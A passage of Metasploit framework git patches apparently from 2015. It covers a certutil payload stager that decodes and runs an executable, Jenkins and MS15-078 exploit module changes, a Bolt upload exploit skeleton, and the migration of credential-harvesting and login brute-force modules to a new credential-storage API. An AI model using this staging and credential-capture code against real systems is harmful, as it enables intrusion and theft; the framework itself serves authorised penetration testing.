to generate the command line - # @return [Array] The command line - def parts_to_commands(parts, opts) - - cmds = [] - parts.each do |p| - cmd = '' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmds << cmd - end - - cmds - end - - - # Generate the commands that will decode the file we just created - # @param opts [Array] The options to generate the command line - # @return [Array] The certutil Base64 decoder part of the command line - def generate_cmds_decoder(opts) - - cmds = [] - cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe" - return cmds - end - - - # We override compress commands just to stick in a few extra commands - # last second.. - # @param cmds [Array] Complete command line - # @param opts [Array] Extra options for command line generation - # @return [Array] The complete command line including cleanup - def compress_commands(cmds, opts) - # Make it all happen - cmds << "#{@tempdir}#{@var_decoded}.exe" - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - cmds << "del #{@tempdir}#{@var_encoded}.b64" - # NOTE: We won't be able to delete the exe while it's in use. - end - - super - end - - # Windows uses & to concat strings - # - # @return [String] Concat operator - def cmd_concat_operator - " & " - end - -end -end -end diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb deleted file mode 100644 index 29e165cdbc..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb +++ /dev/null @@ -1,23 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -describe Rex::Exploitation::CmdStagerCertutil do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#generate' do - it "returns an array of commands" do - result = cmd_stager.generate - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end From 1e6a1f6d053d7114fe3d074aff3c7061285374a5 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 14:18:55 -0500 Subject: [PATCH 0536/2172] Revert "Fix spec like I shoulda done before landing #5736" This reverts commit 956c8e550d04a0fcf875af29ec448b6df4f5073b. Conflicts: spec/lib/rex/exploitation/cmdstager/certutil_spec.rb --- modules/exploits/multi/http/jenkins_script_console.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 3ad9e76d64..5873e2705b 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -35,13 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win linux unix }, 'Targets' => [ - ['Windows', - { - 'Arch' => [ ARCH_X86_64, ARCH_X86 ], - 'Platform' => 'win', - 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] - } - ], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], From 3d428ef33d15814a4b3ad1ec15dbbe2b007977ab Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 13:53:21 -0500 Subject: [PATCH 0537/2172] Fix spec like I shoulda done before landing #5736 --- spec/lib/rex/exploitation/cmdstager/certutil_spec.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb index 46ac22d268..29e165cdbc 100644 --- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -11,15 +11,9 @@ describe Rex::Exploitation::CmdStagerCertutil do described_class.new(exe) end - describe '#cmd_concat_operator' do - it "returns &" do - expect(cmd_stager.cmd_concat_operator).to eq(" & ") - end - end - describe '#generate' do it "returns an array of commands" do - result = cmd_stager.generate(opts) + result = cmd_stager.generate expect(result).to be_kind_of(Array) expect(result).to_not be_empty From b2c401696beeccc78d9eea80a8d7c99a5c5e1c87 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 13:27:10 -0500 Subject: [PATCH 0538/2172] Add certutil support. Tested while landing #5736 --- modules/exploits/multi/http/jenkins_script_console.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 5873e2705b..3ad9e76d64 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win linux unix }, 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Windows', + { + 'Arch' => [ ARCH_X86_64, ARCH_X86 ], + 'Platform' => 'win', + 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] + } + ], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], From 2588439246b87499eb47966810e414338fb8164b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 15:35:41 -0500 Subject: [PATCH 0539/2172] Add references for the win32k info leak --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 1758b4121d..0761fc0697 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -47,10 +47,13 @@ class Metasploit3 < Msf::Exploit::Local }, 'References' => [ ['CVE', '2015-2426'], + ['CVE', '2015-2433'], ['MSB', 'MS15-078'], + ['MSB', 'MS15-080'], ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], - ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'] + ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'], + ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480'] ], 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0 From ef6df5bc264e432ddd6fb4518c886ff7cbcef9b9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 16:30:46 -0500 Subject: [PATCH 0540/2172] Use get_target_arch --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 0761fc0697..0981ea68a4 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -92,7 +92,6 @@ class Metasploit3 < Msf::Exploit::Local def check # We have tested only windows 8.1 - vprint_status("#{sysinfo['OS']}") if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end @@ -143,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo['Architecture'] =~ /wow64/i + unless get_target_arch == ARCH_X86_64 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end From a195f5bb9e6f081d4c6d729e4090563e72aa43e4 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Fri, 4 Sep 2015 04:09:16 -0300 Subject: [PATCH 0541/2172] Initial commit - Skeleton --- .../exploits/unix/webapp/bolt_file_upload.rb | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 modules/exploits/unix/webapp/bolt_file_upload.rb diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb new file mode 100644 index 0000000000..81914d075b --- /dev/null +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Bolt File Upload', + 'Description' => %q{ + To do. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'To do', # Vulnerability Disclosure + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'References' => + [ + ['URL', 'http://todo.com'] + ], + 'DisclosureDate' => 'Aug 17 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Bolt 2.2.4', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ], self.class) + end + + def check + + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def bolt_login() + + end + + def token + + end + + def rename_payload() + + end + + def exploit + + end +end From d55757350d72711241a93f473a7b1e2be77ab841 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Sep 2015 03:04:14 -0500 Subject: [PATCH 0542/2172] Use the latest credential API, no more report_auth_info --- modules/auxiliary/admin/mysql/mysql_enum.rb | 44 +++++++-- modules/auxiliary/analyze/jtr_oracle_fast.rb | 41 ++++++-- .../auxiliary/gather/hp_snac_domain_creds.rb | 44 +++++++-- .../auxiliary/gather/vbulletin_vote_sqli.rb | 44 +++++++-- .../windows_deployment_services_shares.rb | 42 ++++++-- .../gather/wp_w3_total_cache_hash_extract.rb | 42 ++++++-- .../scanner/couchdb/couchdb_login.rb | 45 ++++++--- .../dcerpc/windows_deployment_services.rb | 43 +++++++-- modules/auxiliary/scanner/http/dell_idrac.rb | 43 +++++++-- .../scanner/http/openmind_messageos_login.rb | 44 +++++++-- .../scanner/lotus/lotus_domino_login.rb | 42 ++++++-- .../scanner/misc/dvr_config_disclosure.rb | 44 +++++++-- .../scanner/oracle/isqlplus_login.rb | 36 ++++++- .../auxiliary/scanner/oracle/oracle_login.rb | 47 +++++++-- .../scanner/postgres/postgres_version.rb | 40 ++++++-- .../auxiliary/scanner/rservices/rsh_login.rb | 25 +++++ .../sap/sap_ctc_verb_tampering_user_mgmt.rb | 43 +++++++-- .../scanner/sap/sap_mgmt_con_brute_login.rb | 43 +++++++-- .../scanner/sap/sap_soap_bapi_user_create1.rb | 2 +- .../unix/webapp/vbulletin_vote_sqli_exec.rb | 35 +++++++ modules/post/linux/gather/mount_cifs_creds.rb | 38 +++++++- .../auxiliary/test/report_auth_info.rb | 95 ++++++++++++++++++- 22 files changed, 775 insertions(+), 147 deletions(-) diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index 92aef65a3b..5bb0e6830f 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -27,6 +27,33 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash, + jtr_format: 'mysql,mysql-sha1' + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run return if not mysql_login_datastore print_status("Running MySQL Enumerator...") @@ -86,15 +113,14 @@ class Metasploit3 < Msf::Auxiliary print_status("\tList of Accounts with Password Hashes:") res.each do |row| print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}") - report_auth_info({ - :host => rhost, - :port => rport, - :user => row[0], - :pass => row[2], - :type => "mysql_hash", - :sname => "mysql", - :active => true - }) + report_cred( + ip: rhost, + port: rport, + user: row[0], + password: row[2], + service_name: 'mysql', + proof: row.inspect + ) end end # Only list accounts that can log in with SSL if SSL is enabled diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index d8d3fe790d..e41d6ff806 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -37,6 +37,33 @@ class Metasploit3 < Msf::Auxiliary crack("oracle11g") end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash, + jtr_format: opts[:format] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def crack(format) @@ -71,12 +98,14 @@ class Metasploit3 < Msf::Auxiliary print_status("#{cracked[:cracked]} hashes were cracked!") cracked[:users].each_pair do |k,v| print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'oracle', - :user => k, - :pass => v[0] + report_cred( + ip: v[1], + port: v[2], + service_name: 'oracle', + user: k, + pass: v[0], + format: format, + proof: cracked.inspect ) end end diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 4ff53b0ec7..7610799f2b 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -88,6 +88,34 @@ class Metasploit3 < Msf::Auxiliary return results end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run print_status("#{peer} - Get Domain Info") @@ -121,14 +149,14 @@ class Metasploit3 < Msf::Auxiliary ) credentials.each do |record| - report_auth_info({ - :host => record[0], - :port => record[1], - :sname => record[2].downcase, - :user => record[3], - :pass => record[4], - :source_type => "vuln" - }) + report_cred( + ip: record[0], + port: record[1], + service_name: record[2].downcase, + user: record[3], + password: record[4], + proof: domain_info.inspect + ) cred_table << [record[0], record[3], record[4]] end diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb index 1c28dfbf94..dbc12f74fc 100644 --- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb +++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb @@ -145,6 +145,33 @@ class Metasploit3 < Msf::Auxiliary Msf::Exploit::CheckCode::Safe end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash, + jtr_format: 'md5' + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run print_status("#{peer} - Checking for a valid node id...") node_id = get_node @@ -171,15 +198,14 @@ class Metasploit3 < Msf::Auxiliary for i in 0..count_users user = get_user_data(node_id, i) unless user.join.empty? - report_auth_info({ - :host => rhost, - :port => rport, - :user => user[0], - :pass => user[1], - :type => "hash", - :sname => (ssl ? "https" : "http"), - :proof => "salt: #{user[2]}" # Using proof to store the hash salt - }) + report_cred( + ip: rhost, + port: rport, + user: user[0], + password: user[1], + service_name: (ssl ? "https" : "http"), + proof: "salt: #{user[2]}" + ) users_table << user end end diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 6d25d5d1dd..c88ab1fc3f 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -198,6 +198,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def parse_client_unattend(data) begin @@ -216,15 +242,13 @@ class Metasploit3 < Msf::Auxiliary end def report_creds(domain, user, pass) - report_auth_info( - :host => rhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass + report_cred( + ip: rhost, + port: 445, + service_name: 'smb', + user: "#{domain}\\#{user}", + password: pass, + proof: domain ) end diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index dc014e4abe..c44453bb85 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -76,6 +76,33 @@ class Metasploit3 < Msf::Auxiliary nil end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash, + jtr_format: 'md5,des' + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) users_found = false @@ -117,14 +144,13 @@ class Metasploit3 < Msf::Auxiliary unless match.nil? print_good("Username: #{match[0]}") print_good("Password Hash: #{match[1]}") - report_auth_info( - host: rhost, - port: rport, - sname: ssl ? 'https' : 'http', - user: match[0], - pass: match[1], - active: true, - type: 'hash' + report_cred( + ip: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + user: match[0], + password: match[1], + proof: result.body ) users_found = true end diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index 88caaa9995..5782874ac1 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -74,6 +74,32 @@ class Metasploit3 < Msf::Auxiliary vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server") end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user, pass) vprint_status("Trying username:'#{user}' with password:'#{pass}'") begin @@ -91,17 +117,14 @@ class Metasploit3 < Msf::Auxiliary return :skip_pass else vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'couchdb', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'couchdb', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 8bb5dfd750..d8f2d437cb 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -216,15 +216,40 @@ class Metasploit3 < Msf::Auxiliary print_status("Raw version of #{archi} saved as: #{p}") end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def report_creds(domain, user, pass) - report_auth_info( - :host => rhost, - :port => 4050, - :sname => 'dcerpc', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) + report_cred( + ip: rhost, + port: 4050, + service_name: 'dcerpc', + user: "#{domain}\\#{user}", + password: pass, + proof: domain + ) end end diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index 71a0cc9d8d..0bbc7ecf82 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -69,22 +69,45 @@ class Metasploit3 < Msf::Auxiliary if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil ) print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :active => true, - :source_type => "user_supplied", - :duplicate_ok => true + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + user: user, + password: pass, + proof: auth.body.to_s ) else print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'") end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) print_status("Verifying that login page exists at #{ip}") uri = normalize_uri(target_uri.path) diff --git a/modules/auxiliary/scanner/http/openmind_messageos_login.rb b/modules/auxiliary/scanner/http/openmind_messageos_login.rb index 31b186aaa1..f78d63b8c2 100644 --- a/modules/auxiliary/scanner/http/openmind_messageos_login.rb +++ b/modules/auxiliary/scanner/http/openmind_messageos_login.rb @@ -72,6 +72,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 302 and res.headers['Location'].include?("frameset")) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'OpenMind Message-OS Provisioning Portal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'OpenMind Message-OS Provisioning Portal', + user: user, + password: pass, + proof: res.headers['Location'] + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index 1c30e026a7..2cf52df12a 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf" vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'") @@ -48,15 +74,13 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 302 if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i) print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}", - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? "https" : "http"), + user: user, + password: pass, + proof: "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}" ) return :next_user end diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 69c134e532..d58eb79314 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -200,18 +200,44 @@ class Metasploit3 < Msf::Auxiliary user_active = true end - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'dvr', - :duplicate_ok => false, - :user => user, - :pass => password, - :active => user_active - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'dvr', + user: user, + password: password, + service_name: 'http', + proof: "user_id: #{user_id}, active: #{active}" + ) } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) res = send_request_cgi({ diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index 361abf11ae..fa717b7ec0 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -231,18 +231,46 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def report_isqlauth_info(ip,user,pass,sid) ora_info = { - :host => ip, :port => rport, :proto => "tcp", - :pass => pass, :source_type => "user_supplied", - :active => true + ip: ip, + port: rport, + password: pass, + proof: sid.inspect, + service_name: 'tcp' } if sid.nil? || sid.empty? ora_info.merge! :user => user else ora_info.merge! :user => "#{sid}/#{user}" end - report_auth_info(ora_info) + report_cred(ora_info) end end diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb index 1f98486f44..b733440c72 100644 --- a/modules/auxiliary/scanner/oracle/oracle_login.rb +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -138,6 +138,32 @@ class Metasploit3 < Msf::Auxiliary m[1,2] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + 